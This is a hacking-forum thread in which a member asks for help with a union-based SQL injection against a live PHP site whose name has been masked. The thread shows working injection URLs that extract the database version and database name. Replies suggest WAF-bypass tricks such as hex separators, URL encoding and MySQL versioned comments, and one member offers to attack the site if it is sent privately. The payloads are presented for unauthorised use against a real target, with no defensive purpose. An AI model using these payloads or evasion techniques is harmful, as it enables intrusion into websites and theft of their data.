Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

SQLi targeting fails !

As I am newbie to SQLi I face so many problems fetching records.

Code
gyancho.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(1),4,5,6--
gyancho.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(version()),4,5,6--
gyancho.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(database()),4,5,6--

The above works perfect I get appropriate results as
1
5.6.11-log

and further

But when I trying to concat two things together it doesn't work as I want.

Code
gyancho.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(version(),database()),4,5,6--

Now above returns an error as 403 ERROR , FORBIDDEN

Now what should I do?

>_< GYANcho >_<
Well the site is not opening for me..i don't know why.
Forbidden error is waf.
But try to put seperator between version and database
like
PHP Code

<?php 
gyancho
.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(version(),0x3a,database()),4,5,6-- 

This is just a guess from my side as i am not able to open the site.
The site is different 😏 I replaced the name of site with Gyancho 😏😏😏
And also I tried this using separator but not working!
LOl...🤣
so pm me site..i'll check what is the problem...or post site here..
U got 43 forbidden error.Then try URL ENCODING to bypass 403 error. like
/*!00000%55nion*/ ------> %55 is for U
PHP Code

<?php 
http
://gyanchoooo😏/gyancho?id=-20%20union%20select%201,2,(select%20concat(database(),version())),4,5,6-- 
HUH! Thats pretty cool work! by SPID3R 🤩


(Sep 16, 2014 09:51 AM)ridhisidhi12 Wrote:  U got 43 forbidden error.Then try URL ENCODING to bypass 403 error. like
/*!00000%55nion*/ ------> %55 is for U

Tried almost all combination camel case, url encoding, hex encoding but no use 😭
It's obviously a WAF (Web Application Firewall)

Encode your URL and include random shit that won't mess up the query, like ridhisidhi12 suggested.
I tried encoding URL, first characters or or entire word... But shit doesn't allow me


Possibly Related Threads...
Thread / Author Replies Views Last Post
by SkuIIsMar 17, 2016 11:00 AM 3 197 Mar 17, 2016 11:00 AM
Last Post: SkuIIs
by PlαyBoyFeb 3, 2013 12:59 AM 19 1,487 Feb 3, 2013 12:59 AM
Last Post: yehonatans
by LukeRZJan 6, 2013 09:43 AM 7 177 Jan 6, 2013 09:43 AM
Last Post: ajkaro